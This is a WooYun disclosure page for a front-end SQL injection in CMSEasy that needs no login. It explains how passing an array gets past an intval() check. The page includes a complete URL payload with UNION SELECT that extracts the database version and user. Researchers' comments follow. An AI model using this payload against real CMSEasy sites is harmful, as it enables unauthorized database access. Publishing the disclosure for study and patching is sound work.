当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(36) 关注此漏洞

缺陷编号: WooYun-2015-94151

漏洞标题: cmseasy 修复不当前台无需登录union注射(php缺陷绕过)

相关厂商: cmseasy

漏洞作者: menmen519

提交时间: 2015-01-27 22:29

公开时间: 2015-04-27 22:30

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php+数字类型注射 php源码审核

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-27: 细节已通知厂商并且等待厂商处理中
2015-01-28: 厂商已经确认,细节仅向厂商公开
2015-01-31: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-03-24: 细节向核心白帽子及相关领域专家公开
2015-04-03: 细节向普通白帽子公开
2015-04-13: 细节向实习白帽子公开
2015-04-27: 细节向公众公开

简要描述:

cmseasy 修复不当前台无需登录union注射

详细说明:

下载最新版本的cmseasy,

文件大小:9.83 MB

更新日期:2015-01-21

推荐配置:Mysql5.0 + PHP 5.0





看看这里的修复方案:

archive.php:

code 区域
} elseif (intval(front::get('aid'))) {
$this->view->archive = archive::getInstance()->getrow(front::get('aid'));
$this->view->categorys = category::getpositionlink2($this->view->archive['catid']);
$this->view->paylist = pay::getInstance()->getrows('', 50);
$this->view->logisticslist = logistics::getInstance()->getrows('', 50);









这里居然搞成intval(front::get('aid')) 这不是自欺欺人呢么



大家都知道intval("1 sdasda") == 1 成立的



还有一个特性,就是如果传递的是数组



<?php

$a = array(1234);

echo intval($a);

?>



这个的输出结果是1 正好绕过

ok



访问url:

http://localhost/cmseasynew/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1



56.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-01-28 14:28

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-01-27 22:38 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    0

    php缺陷绕过?啥缺陷呢?M老师求指引

  2. 2015-01-27 22:40 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1358 漏洞数:142 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)
    0

    @menmen519 大神最近闭关了啊 好久没看到了

  3. 2015-01-27 23:11 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @子非海绵宝宝 最近比较忙,偶尔上乌云

  4. 2015-01-27 23:12 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    1

    @泳少 intval的问题

  5. 2015-01-27 23:34 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    膜拜

  6. 2015-01-27 23:42 | greg.wu ( 普通白帽子 | Rank:1027 漏洞数:119 | 打酱油的~)
    0

    牛逼,intval都能绕过

  7. 2015-01-28 00:58 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @menmen519 intval。1xxx=1之类的么

  8. 2015-01-28 08:18 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @roker 不完全是

  9. 2015-01-28 15:39 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1358 漏洞数:142 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)
    0

    1rank? .....

  10. 2015-01-28 15:43 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    怎么才1rank。难道有限制?

  11. 2015-01-28 15:51 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @roker 无限制 不知道啊

  12. 2015-02-02 18:43 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)
    0

    1rank?......

  13. 2015-02-02 18:49 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @君宝 恩

  14. 2015-02-03 15:10 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)
    0

    @menmen519 师父 下次扒了丫裤衩

  15. 2015-02-17 16:08 | 黑暗游侠 ( 普通白帽子 | Rank:1784 漏洞数:269 | 123)
    0

    @roker roker屌爆,那么早就评论了:@menmen519 intval。1xxx=1之类的么

  16. 2015-02-17 17:06 | menmen519 ( 普通白帽子 | Rank:914 漏洞数:161 | http://menmen519.blog.sohu.com/)
    0

    @黑暗游侠 哈哈,过年快乐哈

  17. 2015-02-18 12:35 | 黑暗游侠 ( 普通白帽子 | Rank:1784 漏洞数:269 | 123)
    0

    @menmen519 过年快乐~~~红包拿来啦!~~

  18. 2015-04-27 23:46 | izy ( 普通白帽子 | Rank:164 漏洞数:28 | ://1zy.pw@xdsec-team)
    0

    codz的intval又一个经典案例...

  19. 2015-04-28 08:56 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    修补无效啊

  20. 2015-04-28 09:46 | 蛋清 ( 路人 | Rank:0 漏洞数:2 )
    0

    1rank?恶心人呢

登录后才能发表评论,请先 登录